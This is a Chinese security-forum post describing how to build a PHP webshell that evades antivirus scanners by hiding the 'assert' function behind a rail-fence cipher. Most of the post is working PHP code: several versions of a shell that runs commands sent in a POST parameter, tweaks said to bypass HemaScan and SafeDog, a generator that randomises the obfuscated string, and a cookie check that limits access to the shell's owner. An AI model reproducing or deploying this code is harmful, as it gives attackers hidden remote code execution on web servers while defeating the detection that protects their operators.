栅栏加密免杀php木马
ming9 发表于 山东 WEB安全 790浏览 · 2024-05-26 07:24

栅栏加密免杀木马

0x01思路

栅栏加密的方式拼接出assert敏感函数,与$_POST['ming']连接,形成assert($_POST['ming'])这种木马。

在phpstudy中测试发现拼接assert函数这种姿势只能在php版本<=7.0.9使用

0x02栅栏加密算法

栅栏加密是一种普通的置换加密算法,仅仅改变位置而不做替换,加密过程是将N个明文按M个字符进行分组(M<N),然后将每组的第1个字符组合,每组第2个字符组合…每组的第N个字符组合(最后一个分组可能不足N个),最后把他们全部连接起来就是密文

例如明文iloveyou长度8,可以使用的栅栏变量为2,3,4,5,6,7

如果栅栏变量为2,那么2个为一组,可以分为4组:

i o e o
l v y u

每组相同位数的字符组合,再相加,加密后的字符串为ioeolvyu

以下是php代码的栅栏加密解密函数(我爱gpt)

<?php
function FenceEncrypt($text,$rails)                //$text为明文,$rails为栅栏变量
{
    $railFence = array_fill(0, $rails, array());
    $rail = 0;

    for ($i = 0; $i < strlen($text); $i++) {
        $railFence[$rail][] = $text[$i];
        $rail = ($rail + 1) % $rails;
    }

    $encryptedText = "";
    foreach ($railFence as $rail) {
        $encryptedText .= implode("", $rail);
    }

    return $encryptedText;
}
function FenceDecode($str,$n) {                       //$str为密文,$n为栅栏变量
    $length = strlen($str);
    $table = array();
    $quotient = (int)($length / $n);
    $remainder = $length % $n;
    for ($i = 0; $i < $n; $i++) {
        $table[$i] = array();
    }
    $index = 0;
    for ($i = 0; $i < $n; $i++) {
        $rowCount = $quotient + ($i < $remainder ? 1 : 0);
        for ($j = 0; $j < $rowCount; $j++) {
            $table[$i][$j] = $str[$index++];
        }
    }
    $decodedStr = '';
    for ($i = 0; $i < $quotient + 1; $i++) {
        for ($j = 0; $j < $n; $j++) {
            if (isset($table[$j][$i])) {
                $decodedStr .= $table[$j][$i];
            }
        }
    }
    return $decodedStr;
}

?>

0x03编写木马过程

免杀木马的构建逻辑便是先解密密文,将a、s、e、r、t提取出来重新排列形成函数,在与$_POST['ming']连接,形成assert($_POST['ming'])这种木马。

形成加密字符串

随机生成了字符串JGassKe!*-U09trgBtofJ6(lh,经过栅栏密码加密处理,得到加密字符串

<?php
function railFenceEncrypt($text,$rails)
{
    $railFence = array_fill(0, $rails, array());
    $rail = 0;

    for ($i = 0; $i < strlen($text); $i++) {
        $railFence[$rail][] = $text[$i];
        $rail = ($rail + 1) % $rails;
    }

    $encryptedText = "";
    foreach ($railFence as $rail) {
        $encryptedText .= implode("", $rail);
    }

    return $encryptedText;
}
$text = "JGassKe!*-U09trgBtofJ6(lh";
$encryptedText = railFenceEncrypt($text,3);
echo $encryptedText;

?>

得到加密字符串Jse-9go6hGs!UtBf(aK*0rtJl

明文字符串JGassKe!*-U09trgBtofJ6(lh的第2位为a,3位为s,6位为e,14位为r,17位为t

连接$_POST['pass']形成木马

拼接形成assert函数,连接POST获取的参数形成木马

<?php

    $str='Jse-9go6hGs!UtBf(aK*0rtJl';
    $n=3;
    $length = strlen($str);
    $table = array();
    $quotient = (int)($length / $n);  
    $remainder = $length % $n;
    for ($i = 0; $i < $n; $i++) {
        $table[$i] = array();
    }
    $index = 0;
    for ($i = 0; $i < $n; $i++) {
        $rowCount = $quotient + ($i < $remainder ? 1 : 0);
        for ($j = 0; $j < $rowCount; $j++) {
            $table[$i][$j] = $str[$index++];
        }
    }
    $decodedStr = '';
    for ($i = 0; $i < $quotient + 1; $i++) {
        for ($j = 0; $j < $n; $j++) {
            if (isset($table[$j][$i])) {
                $decodedStr .= $table[$j][$i];
            }
        }
    }
    $config=$decodedStr['2'].$decodedStr['3'].$decodedStr['3'].$decodedStr['6'].$decodedStr['14'].$decodedStr['17'];
    $config($_POST['ming']);

?>

但免杀效果让人堪忧,河马查杀绕不过去,认为post请求获取的参数直接放到函数下太过敏感

函数接收POST数据形成木马

那么就创建一个函数来将post传递的数据进行赋值,再将这个值带入到assert函数中,所以再代码中生成了myHiddenPost函数

<?php

function myHiddenPost($key) {
    return isset($_POST[$key]) ? $_POST[$key] : null;
}   
$str='Jse-9go6hGs!UtBf(aK*0rtJl';
$n=3;
$length = strlen($str);
$table = array();
$quotient = (int)($length / $n);  
$remainder = $length % $n;
for ($i = 0; $i < $n; $i++) {
    $table[$i] = array();
}
$index = 0;
for ($i = 0; $i < $n; $i++) {
    $rowCount = $quotient + ($i < $remainder ? 1 : 0);
    for ($j = 0; $j < $rowCount; $j++) {
        $table[$i][$j] = $str[$index++];
    }
}
$decodedStr = '';
for ($i = 0; $i < $quotient + 1; $i++) {
    for ($j = 0; $j < $n; $j++) {
        if (isset($table[$j][$i])) {
            $decodedStr .= $table[$j][$i];
        }
    }
}
$config=$decodedStr['2'].$decodedStr['3'].$decodedStr['3'].$decodedStr['6'].$decodedStr['14'].$decodedStr['17'];
return $config(myHiddenPost('ming'));

?>

通过myHiddenPost($key)函数接收POST参数,间接传递给assert形成木马

绕过河马查杀以及安全狗

生成随机字符串程序

为了增添一下代码的随机性,使用gpt编写了一个程序,php程序执行后第一行会表明a、s、e、r、t各个字符位置,第二行为随机字符串经过栅栏加密后的明文

<?php
function generate(){
    $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_=+1234567890';
    $resultString = str_repeat(' ', 25);
    $randomPositions = array_rand(range(0, 24), 5);
    $vowels = 'asert';
    foreach (str_split($vowels) as $index => $char) {
        $resultString[$randomPositions[$index]] = $char;
        if ($index==1){
            echo '$decodedStr[\''.$randomPositions[$index].'\']'.'.';
        }
        echo '$decodedStr[\''.$randomPositions[$index].'\']'.'.';
    }

    foreach (str_split($resultString) as $index => $char) {
        if ($char === ' ') {
            $randomChar = $charset[array_rand(str_split($charset))];
            $resultString[$index] = $randomChar;
        }
    }
    return $resultString;
}
function railFenceEncrypt($text,$rails)
{
    $railFence = array_fill(0, $rails, array());
    $rail = 0;

    for ($i = 0; $i < strlen($text); $i++) {
        $railFence[$rail][] = $text[$i];
        $rail = ($rail + 1) % $rails;
    }

    $encryptedText = "";
    foreach ($railFence as $rail) {
        $encryptedText .= implode("", $rail);
    }

    return $encryptedText;
}

$encryptedText = railFenceEncrypt(generate(),3);
echo "</br>";
echo $encryptedText;


?>

php脚本执行

分别将字符串修改至config以及str,形成木马

增添Cookie校验

增添Cookie校验机制,让木马的使用者只属于我。$encryptedValue的值可以自己设定,这里的值3dd6f83a2df58e415b74edf50e65ebaf是由sta3t_ming经过md5加密而来的,其中最后五个字符_ming是盐值。

<?php

function myHiddenPost($key) {
    return isset($_POST[$key]) ? $_POST[$key] : null;
}   
if (isset($_COOKIE['phpsession'])) {
    $cookieValue = $_COOKIE['phpsession'];
    $salt = '_ming';
    $saltedValue = $cookieValue . $salt;
    $encryptedValue = md5($saltedValue);
    if ($encryptedValue=='3dd6f83a2df58e415b74edf50e65ebaf'){
        $str='Jse-9go6hGs!UtBf(aK*0rtJl';
        $n=3;
        $length = strlen($str);
        $table = array();
        $quotient = (int)($length / $n);  
        $remainder = $length % $n;
        for ($i = 0; $i < $n; $i++) {
            $table[$i] = array();
        }
        $index = 0;
        for ($i = 0; $i < $n; $i++) {
            $rowCount = $quotient + ($i < $remainder ? 1 : 0);
            for ($j = 0; $j < $rowCount; $j++) {
                $table[$i][$j] = $str[$index++];
            }
        }
        $decodedStr = '';
        for ($i = 0; $i < $quotient + 1; $i++) {
            for ($j = 0; $j < $n; $j++) {
                if (isset($table[$j][$i])) {
                    $decodedStr .= $table[$j][$i];
                }
            }
        }
        $config=$decodedStr['2'].$decodedStr['3'].$decodedStr['3'].$decodedStr['6'].$decodedStr['14'].$decodedStr['17'];
        $config(myHiddenPost('ming'));}
    }

?>

0x05参考博客以及项目

https://yzddmr6.com/posts/webshell-venom-1-0/
https://xz.aliyun.com/t/13591?time__1311=mqmxnQiQG%3DWID%2FD0DTGk7FE1xIxGT%2Bei%3D4D&alichlgref=https%3A%2F%2Fwww.bing.com%2F
https://github.com/XiaoMMing9/Fence_php_horse
0 条评论
某人
表情
可输入 255